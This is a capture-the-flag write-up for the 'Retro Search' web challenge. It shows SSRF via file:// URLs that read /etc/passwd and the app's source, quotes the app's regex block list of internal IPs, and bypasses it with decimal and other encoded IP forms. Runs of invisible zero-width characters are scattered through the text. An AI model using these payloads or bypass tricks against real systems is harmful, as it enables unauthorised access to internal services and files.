← Back to Writeups
CUSTOMMediumWeb

110 - Retro Search (Ретро поиск) - duckerz CTF

XESXOR9/10/20262 min read
#web#custom#medium#decimal_ip_bypass#file_protocol_lfi#source_code_analysis#ssrf

110 - Retro Search (Ретро поиск) - duckerz CTF

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decimal_ip_bypass, file_protocol_lfi, source_code_analysis, ssrf

Summary

Walkthrough of the CUSTOM Web 110 - Retro Search (Ретро поиск) - duckerz CTF. Task: Retro-styled search engine with URL fetch functionality. Solution: Exploited SSRF via file:// protocol to read source code, discovered WAF blocking internal IPs, bypassed WAF using decimal IP fo

Description

"Интернет помнит всё... если знать, где искать" (The Internet remembers everything... if you know where to look)

URL: http://tasks.duckerz.ru:30073/

A retro-styled search engine on Flask/Werkzeug with URL search functionality.

Analysis

Reconnaissance

  1. The web application is a retro-style search engine
  2. The search form accepts a q parameter and makes HTTP requests to the specified URL
  3. When entering an invalid URL, we get an error:
    Invalid URL 'test': No schema supplied. Perhaps you meant http://test?
    
    This message is from the requests library - a clear sign of SSRF vulnerability! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Discovered Vulnerabilities

  • SSRF - the server makes requests to arbitrary URLs
  • LFI - the file:// protocol is supported
  • WAF bypass - IP address filtering via regex without considering alternative formats

Solution

Step 1: Testing SSRF and LFI via file://

http://tasks.duckerz.ru:30073/search?q=file:///etc/passwd

Successfully retrieved the contents of /etc/passwd - the file:// protocol works!

Step 2: Reading the application source code

http://tasks.duckerz.ru:30073/search?q=file:///app/app.py

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Discovered a WAF blocking internal addresses:

python
def is_blocked_url(url):
    decoded_url = unquote(url)
    blocked_patterns = [
        r'localhost',
        r'127\.0\.0\.1',
        r'0\.0\.0\.0',
        r'169\.254\.',
        r'::1',
        r'internal',
        r'172\.30\.0\.11',
        r'172\.30\.0\.10',
    ]
    for pattern in blocked_patterns:
        if re.search(pattern, decoded_url, re.IGNORECASE):
            return True
    return False

Key finding: Internal services at 172.30.0.10 and 172.30.0.11 are blocked by WAF! ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: WAF bypass via decimal IP

The WAF only checks string patterns like "172.30.0.11", but doesn't account for alternative IP formats.

Converting IP to decimal format:

python
# 172.30.0.11 -> decimal
ip = "172.30.0.11"
parts = list(map(int, ip.split('.')))
decimal_ip = (parts[0] << 24) + (parts[1] << 16) + (parts[2] << 8) + parts[3]
# Result: 2887647243

Verification:

172 * 256^3 + 30 * 256^2 + 0 * 256 + 11 = 2887647243

Step 4: Accessing the internal service

http://tasks.duckerz.ru:30073/search?q=http://2887647243

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

WAF bypassed! Received a response from the internal admin service with the flag.

Alternative IP Formats for WAF Bypass

FormatExample for 172.30.0.11
Decimal2887647243
Octal0254.036.0.013
Hex0xAC.0x1E.0x0.0xB
Mixed172.0x1E.0.11
IPv6 mapped::ffff:172.30.0.11

References

  • SSRF Bible
  • IP Address Converter ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering decimal_ip_bypass, file_protocol_lfi, source_code_analysis, ssrf was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-19 • CUSTOM • 110 - Retro Search (Ретро поиск) - duckerz CTF • Difficulty: Medium